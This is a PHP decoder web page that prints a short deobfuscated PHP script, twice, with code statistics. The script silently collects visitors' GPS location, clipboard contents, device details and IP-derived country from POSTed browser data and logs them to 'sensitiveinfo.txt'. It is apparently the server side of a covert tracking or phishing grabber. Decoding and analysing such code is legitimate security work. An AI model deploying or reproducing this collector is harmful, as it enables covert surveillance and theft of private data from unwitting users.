Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);$u0=$_POST['networkinformation'];$g1=$_POST['batterypercentage'];..

Decoded Output download

<?php error_reporting(0);$u0=$_POST['networkinformation'];$g1=$_POST['batterypercentage'];$a2=$_POST['ischarging'];$p3=$_POST['width'];$b4=$_POST['height'];$r5=$_POST['platform'];$g6=$_POST['gps'];$d7=$_POST['localtime'];$o8=$_POST['devicelang'];$o9=$_POST['iscookieEnabled'];$r10=$_POST['useragent'];$j11=$_POST['deviceram'];$b12=$_POST['cpuThreads'];$x13=$_POST['referurl'];$j14=$_POST['clipboard'];$s15=$_SERVER['REMOTE_ADDR'];$p16=json_decode(file_get_contents("http://ip-api.com/json/{$s15}"));$m17=$p16->$l18;date_default_timezone_set('Europe/Istanbul');$g19=date("d-m-Y H:i:s");$n20=fopen('sensitiveinfo.txt','a');fwrite($n20,"Ip Address: ".$s15."

"."Country: ".$m17."

"."NetworkInformation: ".$u0."

"."Batterypercentage: ".$g1."

"."Ischarging: ".$a2."

"."ScreenWidth: ".$p3."

"."ScreeHeight: ".$b4."

"."Platform: ".$r5."

"."GPS: ".$g6."

"."DeviceLocalTime: ".$d7."

"."DeviceLanguage: ".$o8."

"."CookieEnabled: ".$o9."

"."UserAgent: ".$r10."

"."DeviceMemory: ".$j11."

"."CPuThreads: ".$b12."

"."Clipboard: ".$j14."

"."ReferUrl: ".$x13."



");fclose($n20);?>

Did this file decode correctly?

Original Code

<?php error_reporting(0);$u0=$_POST['networkinformation'];$g1=$_POST['batterypercentage'];$a2=$_POST['ischarging'];$p3=$_POST['width'];$b4=$_POST['height'];$r5=$_POST['platform'];$g6=$_POST['gps'];$d7=$_POST['localtime'];$o8=$_POST['devicelang'];$o9=$_POST['iscookieEnabled'];$r10=$_POST['useragent'];$j11=$_POST['deviceram'];$b12=$_POST['cpuThreads'];$x13=$_POST['referurl'];$j14=$_POST['clipboard'];$s15=$_SERVER['REMOTE_ADDR'];$p16=json_decode(file_get_contents("http://ip-api.com/json/{$s15}"));$m17=$p16->$l18;date_default_timezone_set('Europe/Istanbul');$g19=date("d-m-Y H:i:s");$n20=fopen('sensitiveinfo.txt','a');fwrite($n20,"Ip Address: ".$s15."\n\n"."Country: ".$m17."\n\n"."NetworkInformation: ".$u0."\n\n"."Batterypercentage: ".$g1."\n\n"."Ischarging: ".$a2."\n\n"."ScreenWidth: ".$p3."\n\n"."ScreeHeight: ".$b4."\n\n"."Platform: ".$r5."\n\n"."GPS: ".$g6."\n\n"."DeviceLocalTime: ".$d7."\n\n"."DeviceLanguage: ".$o8."\n\n"."CookieEnabled: ".$o9."\n\n"."UserAgent: ".$r10."\n\n"."DeviceMemory: ".$j11."\n\n"."CPuThreads: ".$b12."\n\n"."Clipboard: ".$j14."\n\n"."ReferUrl: ".$x13."\n\n\n\n");fclose($n20);?>

Function Calls

json_decode 1
error_reporting 1
file_get_contents 1

Variables

$a2 None
$b4 None
$d7 None
$g1 None
$g6 None
$o8 None
$o9 None
$p3 None
$r5 None
$u0 None
$b12 None
$j11 None
$j14 None
$r10 None
$s15 None
$x13 None

Stats

MD5 67dc4a436e0b58c64d2f0cbd00cbba79
Eval Count 0
Decode Time 43 ms